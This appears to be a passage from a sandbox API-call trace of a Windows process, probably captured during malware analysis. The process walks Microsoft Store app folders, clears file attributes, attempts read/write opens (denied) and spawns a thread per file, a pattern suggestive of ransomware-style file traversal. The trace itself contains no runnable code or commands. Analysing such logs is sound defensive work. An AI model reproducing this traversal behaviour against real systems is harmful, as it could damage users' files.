	[0082.905] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.905] GetLastError () returned 0x5
	[0082.905] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
	[0082.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1

Thread:
	id = 1093
	os_tid = 0x1d84

	[0083.280] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0083.280] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0083.280] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.281] GetLastError () returned 0x5
	[0083.281] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0083.281] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768d68) returned 1

Thread:
	id = 1094
	os_tid = 0x1d88

	[0083.283] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4719460
	[0083.283] wcscpy (in: _Dest=0x4719460, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0083.283] wcscat (in: _Dest=0x4719460, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0083.283] wcscat (in: _Dest=0x4719460, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\*"
	[0083.283] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f25130
	[0083.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\*", lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0dcf11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9a8
	[0083.284] wcscmp (_String1=".", _String2=".") returned 0
	[0083.284] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0dcf11, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.284] wcscmp (_String1="..", _String2=".") returned 1
	[0083.284] wcscmp (_String1="..", _String2="..") returned 0
	[0083.284] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0df02e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x774b901c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-black", cAlternateFileName="CONTRA~1")) returned 1
	[0083.284] wcscmp (_String1="contrast-black", _String2=".") returned 1
	[0083.284] wcscmp (_String1="contrast-black", _String2="..") returned 1
	[0083.284] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768370
	[0083.284] wcscpy (in: _Dest=0x4768370, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0083.284] wcscat (in: _Dest=0x4768370, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0083.284] wcscat (in: _Dest=0x4768370, _Source="contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
	[0089.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4768370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1454
	[0089.779] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x774b901c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa14080b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x774df276, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0089.779] wcscmp (_String1="contrast-white", _String2=".") returned 1
	[0089.779] wcscmp (_String1="contrast-white", _String2="..") returned 1
	[0089.779] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768458
	[0089.779] wcscpy (in: _Dest=0x4768458, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.779] wcscat (in: _Dest=0x4768458, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.779] wcscat (in: _Dest=0x4768458, _Source="contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0089.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4768458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e7c
	[0089.780] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774df276, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x774df276, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x774df276, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Money_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1
	[0089.780] wcscmp (_String1="Money_LogoSmall.scale-100.png", _String2=".") returned 1
	[0089.780] wcscmp (_String1="Money_LogoSmall.scale-100.png", _String2="..") returned 1
	[0089.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481daf8
	[0089.780] wcscpy (in: _Dest=0x481daf8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.780] wcscat (in: _Dest=0x481daf8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.780] wcscat (in: _Dest=0x481daf8, _Source="Money_LogoSmall.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.scale-100.png"
	[0089.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481daf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e80
	[0089.781] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774df276, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x774df276, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x774df276, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Money_LogoSmall.targetsize-16.png", cAlternateFileName="")) returned 1
	[0089.781] wcscmp (_String1="Money_LogoSmall.targetsize-16.png", _String2=".") returned 1
	[0089.781] wcscmp (_String1="Money_LogoSmall.targetsize-16.png", _String2="..") returned 1
	[0089.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x500c210
	[0089.781] wcscpy (in: _Dest=0x500c210, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.781] wcscat (in: _Dest=0x500c210, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.781] wcscat (in: _Dest=0x500c210, _Source="Money_LogoSmall.targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-16.png"
	[0089.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500c210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e84
	[0089.781] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775054bc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x775054bc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Money_LogoSmall.targetsize-24.png", cAlternateFileName="")) returned 1
	[0089.781] wcscmp (_String1="Money_LogoSmall.targetsize-24.png", _String2=".") returned 1
	[0089.781] wcscmp (_String1="Money_LogoSmall.targetsize-24.png", _String2="..") returned 1
	[0089.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x500c788
	[0089.781] wcscpy (in: _Dest=0x500c788, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.782] wcscat (in: _Dest=0x500c788, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.782] wcscat (in: _Dest=0x500c788, _Source="Money_LogoSmall.targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-24.png"
	[0089.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500c788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e88
	[0089.782] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775054bc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x775054bc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x697, dwReserved0=0x0, dwReserved1=0x0, cFileName="Money_LogoSmall.targetsize-256.png", cAlternateFileName="")) returned 1
	[0089.782] wcscmp (_String1="Money_LogoSmall.targetsize-256.png", _String2=".") returned 1
	[0089.782] wcscmp (_String1="Money_LogoSmall.targetsize-256.png", _String2="..") returned 1
	[0089.782] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x500d160
	[0089.782] wcscpy (in: _Dest=0x500d160, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.782] wcscat (in: _Dest=0x500d160, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.782] wcscat (in: _Dest=0x500d160, _Source="Money_LogoSmall.targetsize-256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-256.png"
	[0089.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500d160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8c
	[0089.783] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775054bc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x775054bc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Money_LogoSmall.targetsize-32.png", cAlternateFileName="")) returned 1
	[0089.783] wcscmp (_String1="Money_LogoSmall.targetsize-32.png", _String2=".") returned 1
	[0089.783] wcscmp (_String1="Money_LogoSmall.targetsize-32.png", _String2="..") returned 1
	[0089.783] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x500d048
	[0089.783] wcscpy (in: _Dest=0x500d048, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.783] wcscat (in: _Dest=0x500d048, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.783] wcscat (in: _Dest=0x500d048, _Source="Money_LogoSmall.targetsize-32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-32.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-32.png"
	[0089.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500d048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e90
	[0089.784] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775054bc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x775054bc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Money_LogoSmall.targetsize-48.png", cAlternateFileName="")) returned 1
	[0089.784] wcscmp (_String1="Money_LogoSmall.targetsize-48.png", _String2=".") returned 1
	[0089.784] wcscmp (_String1="Money_LogoSmall.targetsize-48.png", _String2="..") returned 1
	[0089.784] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x500bdb0
	[0089.784] wcscpy (in: _Dest=0x500bdb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.784] wcscat (in: _Dest=0x500bdb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.784] wcscat (in: _Dest=0x500bdb0, _Source="Money_LogoSmall.targetsize-48.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-48.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_LogoSmall.targetsize-48.png"
	[0089.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500bdb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e94
	[0089.785] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775054bc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x775054bc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="Money_SplashScreen.scale-100.png", cAlternateFileName="")) returned 1
	[0089.785] wcscmp (_String1="Money_SplashScreen.scale-100.png", _String2=".") returned 1
	[0089.785] wcscmp (_String1="Money_SplashScreen.scale-100.png", _String2="..") returned 1
	[0089.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x500bc98
	[0089.785] wcscpy (in: _Dest=0x500bc98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.785] wcscat (in: _Dest=0x500bc98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.785] wcscat (in: _Dest=0x500bc98, _Source="Money_SplashScreen.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_SplashScreen.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_SplashScreen.scale-100.png"
	[0089.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500bc98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e98
	[0089.785] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775054bc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x775054bc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="Money_TileLargeSquare.scale-100.png", cAlternateFileName="")) returned 1
	[0089.785] wcscmp (_String1="Money_TileLargeSquare.scale-100.png", _String2=".") returned 1
	[0089.785] wcscmp (_String1="Money_TileLargeSquare.scale-100.png", _String2="..") returned 1
	[0089.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x500c8a0
	[0089.785] wcscpy (in: _Dest=0x500c8a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.786] wcscat (in: _Dest=0x500c8a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.786] wcscat (in: _Dest=0x500c8a0, _Source="Money_TileLargeSquare.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileLargeSquare.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileLargeSquare.scale-100.png"
